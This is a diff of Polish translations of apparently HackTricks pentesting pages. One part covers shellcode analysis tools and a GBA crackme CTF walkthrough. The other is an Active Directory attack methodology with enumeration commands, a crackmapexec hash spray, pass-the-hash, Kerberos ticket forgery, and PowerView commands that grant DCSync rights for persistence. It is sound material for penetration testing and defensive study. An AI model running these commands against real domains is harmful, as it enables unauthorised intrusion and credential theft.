[**Blobrunner**](https://github.com/OALabs/BlobRunner) **alokuje** **shellcode** w przestrzeni pamięci, **wskaże** ci **adres pamięci**, w którym shellcode został alokowany i **zatrzyma** wykonanie.\
Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu i ustawić **punkt przerwania w wskazanym adresie pamięci** oraz **wznowić** wykonanie. W ten sposób będziesz debugować shellcode.
Strona z wydaniami na github zawiera zips z skompilowanymi wydaniami: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Strona z wydaniami na githubie zawiera zips z skompilowanymi wydaniami: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner w następującym linku. Aby ją skompilować, po prostu **stwórz projekt C/C++ w Visual Studio Code, skopiuj i wklej kod i zbuduj go**.
{{#ref}}
@ -190,7 +190,7 @@ Zauważ, że Cutter pozwala na "Otwórz plik" i "Otwórz shellcode". W moim przy
![](<../../images/image (562).png>)
Aby rozpocząć emulację w miejscu, w którym chcesz, ustaw tam bp, a Cutter automatycznie rozpocznie emulację stamtąd:
Aby rozpocząć emulację w miejscu, w którym chcesz, ustaw tam punkt przerwania, a Cutter automatycznie rozpocznie emulację stamtąd:
![](<../../images/image (589).png>)
@ -200,7 +200,7 @@ Możesz zobaczyć stos na przykład w zrzucie heksadecymalnym:
![](<../../images/image (186).png>)
### Deobfuskacja shellcode i uzyskiwanie wywoływanych funkcji
### Deobfuskacja shellcode i uzyskiwanie wykonywanych funkcji
Powinieneś spróbować [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
Powie ci rzeczy takie jak **które funkcje** używa shellcode i czy shellcode **dekoduje** się w pamięci.
@ -220,7 +220,7 @@ Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakiekolwiek zmiany zost
### Disassembling using CyberChef
Prześlij swój plik shellcode jako wejście i użyj następującego przepisu, aby go dekompilować: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
Prześlij swój plik shellcode jako wejście i użyj następującego przepisu, aby go dekompilować: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/index.html#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
@ -236,7 +236,7 @@ apt-get install libz3-dev
```
I [zainstaluj keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Jeśli grasz w **CTF, to obejście w celu znalezienia flagi** może być bardzo przydatne: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Jeśli bierzesz udział w **CTF, to obejście w celu znalezienia flagi** może być bardzo przydatne: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -280,7 +280,7 @@ Na tej stronie możesz znaleźć, jak uzyskać kod python z binarki ELF/EXE skom
Jeśli zdobędziesz **binarkę** gry GBA, możesz użyć różnych narzędzi do **emulacji** i **debugowania**:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Pobierz wersję debugującą_) - Zawiera debugger z interfejsem
- [**mgba** ](https://mgba.io)- Zawiera debugger CLI
- [**mgba** ](https://mgba.io) - Zawiera debugger CLI
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Wtyczka Ghidra
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Wtyczka Ghidra
@ -305,7 +305,7 @@ W takim programie interesującą częścią będzie **jak program traktuje dane
![](<../../images/image (447).png>)
Na poprzednim obrazie możesz zobaczyć, że funkcja jest wywoływana z **FUN_080015a8** (adresy: _0x080015fa_ i _0x080017ac_).
Na poprzednim obrazku możesz zobaczyć, że funkcja jest wywoływana z **FUN_080015a8** (adresy: _0x080015fa_ i _0x080017ac_).
W tej funkcji, po kilku operacjach inicjalizacyjnych (bez większego znaczenia):
```c
@ -370,13 +370,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
```
W poprzednim kodzie widać, że porównujemy **uVar1** (miejsce, w którym znajduje się **wartość naciśniętego przycisku**) z pewnymi wartościami:
- Najpierw porównuje się z **wartością 4** (**przycisk SELECT**): W wyzwaniu ten przycisk czyści ekran.
- Następnie porównuje się z **wartością 8** (**przycisk START**): W wyzwaniu to sprawdza, czy kod jest ważny, aby uzyskać flagę.
- Najpierw porównywana jest z **wartością 4** (**przycisk SELECT**): W wyzwaniu ten przycisk czyści ekran.
- Następnie porównywana jest z **wartością 8** (**przycisk START**): W wyzwaniu sprawdza, czy kod jest ważny, aby uzyskać flagę.
- W tym przypadku zmienna **`DAT_030000d8`** jest porównywana z 0xf3, a jeśli wartość jest taka sama, wykonywany jest pewien kod.
- W innych przypadkach sprawdzana jest zmienna cont (`DAT_030000d4`). To jest cont, ponieważ dodaje 1 zaraz po wejściu w kod.\
**Jeśli** mniej niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do \*\*`DAT_030000d8` \*\* (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8).
**Jeśli** jest mniejsza niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do \*\*`DAT_030000d8` \*\* (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8).
Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisnąć kombinację o długości mniejszej niż 8, której wynikowa suma to 0xf3.**
Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisnąć kombinację o długości mniejszej niż 8, której suma wynosi 0xf3.**
**Referencja do tego samouczka:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)

View File

@ -12,7 +12,7 @@ Kluczowe pojęcia w **Active Directory** obejmują:
1. **Katalog** Zawiera wszystkie informacje dotyczące obiektów Active Directory.
2. **Obiekt** Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
3. **Domena** Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą utrzymującą własny zbiór obiektów.
3. **Domena** Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą z nich utrzymującą własny zbiór obiektów.
4. **Drzewo** Grupa domen, które dzielą wspólną domenę główną.
5. **Las** Szczyt struktury organizacyjnej w Active Directory, składający się z kilku drzew z **relacjami zaufania** między nimi.
@ -20,16 +20,16 @@ Kluczowe pojęcia w **Active Directory** obejmują:
1. **Usługi domenowe** Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym funkcjonalności **uwierzytelniania** i **wyszukiwania**.
2. **Usługi certyfikatów** Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
3. **Usługi lekkiego katalogu** Wspiera aplikacje z katalogiem za pośrednictwem **protokół LDAP**.
3. **Usługi lekkiego katalogu** Wspiera aplikacje z katalogiem poprzez **protokół LDAP**.
4. **Usługi federacji katalogów** Zapewnia możliwości **jednolitego logowania** do uwierzytelniania użytkowników w wielu aplikacjach internetowych w jednej sesji.
5. **Zarządzanie prawami** Pomaga w ochronie materiałów objętych prawem autorskim poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
5. **Zarządzanie prawami** Pomaga w ochronie materiałów objętych prawami autorskimi poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
6. **Usługa DNS** Kluczowa dla rozwiązywania **nazw domen**.
Aby uzyskać bardziej szczegółowe wyjaśnienie, sprawdź: [**TechTerms - Definicja Active Directory**](https://techterms.com/definition/active_directory)
### **Uwierzytelnianie Kerberos**
Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć proces uwierzytelniania Kerberos**.\
Aby nauczyć się, jak **atakować AD**, musisz **dobrze zrozumieć** **proces uwierzytelniania Kerberos**.\
[**Przeczytaj tę stronę, jeśli nadal nie wiesz, jak to działa.**](kerberos-authentication.md)
## Arkusz skrótów
@ -41,7 +41,7 @@ Możesz skorzystać z [https://wadcoms.github.io/](https://wadcoms.github.io), a
Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji, możesz:
- **Przeprowadzić testy penetracyjne w sieci:**
- Skanować sieć, znaleźć maszyny i otwarte porty oraz spróbować **eksploatować luki** lub **wyciągać poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
- Skanować sieć, znaleźć maszyny i otwarte porty oraz spróbować **eksploatować luki** lub **wyodrębnić poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udostępnienia, vpn, media itp.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Zobacz ogólną [**Metodologię testów penetracyjnych**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji na temat tego, jak to zrobić.
@ -49,15 +49,15 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Bardziej szczegółowy przewodnik na temat enumeracji serwera SMB można znaleźć tutaj:
- Bardziej szczegółowy przewodnik na temat tego, jak enumerować serwer SMB, można znaleźć tutaj:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
{{#endref}}
- **Enumeracja LDAP**
- **Enumeracja Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Bardziej szczegółowy przewodnik na temat enumeracji LDAP można znaleźć tutaj (zwróć **szczególną uwagę na dostęp anonimowy**):
- Bardziej szczegółowy przewodnik na temat tego, jak enumerować LDAP, można znaleźć tutaj (zwróć **szczególną uwagę na dostęp anonimowy**):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -66,10 +66,10 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
- **Zatrucie sieci**
- Zbieraj poświadczenia [**podszywając się pod usługi za pomocą Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta, [**nadużywając ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Zbieraj poświadczenia **ujawniając** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Wyciągnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych.
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** ([**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NazwaNazwiska_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
- Wyodrębnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych.
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** (**[**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NazwaNazwisko_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
- Narzędzia:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -105,7 +105,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
> [!WARNING]
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* oraz w tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Z imieniem i nazwiskiem możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników.
> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Mając imię i nazwisko, możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników.
### Znając jedną lub kilka nazw użytkowników
@ -143,7 +143,7 @@ Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** z **uż
Na tym etapie musisz mieć **skomprymowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej są nadal opcjami do skompromitowania innych użytkowników**.
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos**.
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos.**
{{#ref}}
kerberos-double-hop-problem.md
@ -153,12 +153,12 @@ kerberos-double-hop-problem.md
Posiadając skompromitowane konto, to **duży krok w kierunku skompromitowania całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możliwego podatnego użytkownika, a odnośnie [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
W odniesieniu do [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego potencjalnie podatnego użytkownika, a w odniesieniu do [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
- Możesz użyć [**CMD do przeprowadzenia podstawowego rekonesansu**](../basic-cmd-for-pentesters.md#domain-info)
- Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/), co będzie bardziej dyskretne
- Możesz także [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje
- Innym niesamowitym narzędziem do rekonesansu w aktywnym katalogu jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretne** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, zdecydowanie powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
- Innym niesamowitym narzędziem do rekonesansu w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretny** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Rekordy DNS AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
- Narzędziem z GUI, które możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** z **SysInternal** Suite.
@ -169,7 +169,7 @@ Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możl
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Ekstrakcja wszystkich użytkowników domeny**
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linux możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak zenumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
@ -185,7 +185,7 @@ kerberoast.md
### Zdalne połączenie (RDP, SSH, FTP, Win-RM, itd.)
Gdy uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów.
Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów.
### Lokalne podnoszenie uprawnień
@ -209,9 +209,9 @@ Jeśli udało ci się zenumerować aktywną dyrekcję, będziesz miał **więcej
### **Szukaj poświadczeń w udostępnionych plikach komputerowych**
Teraz, gdy masz podstawowe poświadczenia, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne i powtarzalne zadanie (a jeszcze bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
Teraz, gdy masz kilka podstawowych poświadczeń, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne i powtarzalne zadanie (a jeszcze bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
[**Śledź ten link, aby dowiedzieć się o narzędziach, które możesz wykorzystać.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
[**Śledź ten link, aby dowiedzieć się o narzędziach, których możesz użyć.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Kradzież poświadczeń NTLM
@ -241,13 +241,13 @@ Następnie czas na zrzut wszystkich haszy w pamięci i lokalnie.\
### Pass the Hash
**Gdy masz hasz użytkownika**, możesz go użyć do **podszywania się** pod niego.\
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM używając** tego **hasza**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hasz** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hasz był używany.** Ostatnia opcja to to, co robi mimikatz.\
[**Przeczytaj tę stronę, aby uzyskać więcej informacji.**](../ntlm/#pass-the-hash)
**Gdy masz hash użytkownika**, możesz go użyć do **podszywania się** pod niego.\
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM używając** tego **hasha**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\
[**Przeczytaj tę stronę, aby uzyskać więcej informacji.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Ten atak ma na celu **użycie hasza NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być to szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może to być szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -263,7 +263,7 @@ pass-the-ticket.md
### Ponowne użycie poświadczeń
Jeśli masz **hasz** lub **hasło** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** do innych **komputerów** z jego pomocą.
Jeśli masz **hash** lub **hasło** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** do innych **komputerów** z jego pomocą.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Nadużycie MSSQL i Zaufane Linki
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** **hash** NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\
Ponadto, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** hasz NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\
Również, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
**Linki między bazami danych działają nawet w przypadku zaufania między lasami.**
{{#ref}}
@ -286,7 +286,7 @@ abusing-ad-mssql.md
Jeśli znajdziesz jakikolwiek obiekt Komputera z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domeny na komputerze, będziesz mógł zrzucić TGT z pamięci każdego użytkownika, który loguje się na komputerze.\
Więc, jeśli **administrator domeny loguje się na komputerze**, będziesz mógł zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować serwer druku** (mam nadzieję, że będzie to DC).
Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować serwer drukarki** (mam nadzieję, że będzie to DC).
{{#ref}}
unconstrained-delegation.md
@ -295,7 +295,7 @@ unconstrained-delegation.md
### Ograniczona Delegacja
Jeśli użytkownik lub komputer ma zezwolenie na "Ograniczoną Delegację", będzie mógł **podszyć się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
Następnie, jeśli **skompromitujesz hash** tego użytkownika/komputera, będziesz mógł **podszyć się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług.
Następnie, jeśli **skompromitujesz hasz** tego użytkownika/komputera, będziesz mógł **podszyć się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług.
{{#ref}}
constrained-delegation.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Nadużycie sesji zewnętrznych
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomplikowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy** w celu podszywania się pod nich.\
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomplikowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie sygnałów do ich procesów**, aby się pod nich podszyć.\
Zazwyczaj użytkownicy uzyskują dostęp do systemu przez RDP, więc oto jak przeprowadzić kilka ataków na sesje RDP osób trzecich:
{{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** zapewnia system zarządzania **hasłem lokalnego administratora** na komputerach dołączonych do domeny, zapewniając, że jest **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
**LAPS** zapewnia system zarządzania **hasłem lokalnego administratora** na komputerach dołączonych do domeny, zapewniając, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
{{#ref}}
laps.md
@ -364,9 +364,9 @@ ad-certificates/domain-escalation.md
Gdy uzyskasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę danych domeny**: _ntds.dit_.
[**Więcej informacji na temat ataku DCSync można znaleźć tutaj**](dcsync.md).
[**Więcej informacji o ataku DCSync można znaleźć tutaj**](dcsync.md).
[**Więcej informacji na temat kradzieży NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**Więcej informacji o tym, jak ukraść NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc jako Utrzymanie
@ -385,7 +385,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Przyznać uprawnienia [**DCSync**](./#dcsync) użytkownikowi
- Przyznać uprawnienia [**DCSync**](#dcsync) użytkownikowi
```powershell
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Srebrny Bilet
Atak **Srebrnego Biletu** tworzy **legitymację usługi Ticket Granting Service (TGS)** dla konkretnej usługi, używając **hasha NTLM** (na przykład, **hasha konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**.
Atak **Srebrnego Biletu** tworzy **legitymację usługi przyznawania biletów (TGS)** dla konkretnej usługi, używając **hasza NTLM** (na przykład, **hasza konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**.
{{#ref}}
silver-ticket.md
@ -401,9 +401,9 @@ silver-ticket.md
### Złoty Bilet
Atak **Złotego Biletu** polega na tym, że atakujący uzyskuje dostęp do **hasha NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **Biletów Grantujących Bilety (TGT)**, które są niezbędne do uwierzytelniania w sieci AD.
Atak **Złotego Biletu** polega na tym, że atakujący uzyskuje dostęp do **hasza NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **biletów przyznawania biletów (TGT)**, które są niezbędne do uwierzytelniania w sieci AD.
Gdy atakujący uzyska ten hash, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Srebrnego Biletu).
Gdy atakujący uzyska ten hasz, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Srebrnego Biletu).
{{#ref}}
golden-ticket.md
@ -411,13 +411,13 @@ golden-ticket.md
### Diamentowy Bilet
Te bilety są jak złote bilety, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.**
Są one jak złote bilety, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.**
{{#ref}}
diamond-ticket.md
{{#endref}}
### **Utrzymanie Kont Certyfikatów**
### **Utrzymanie Konta Certyfikatów**
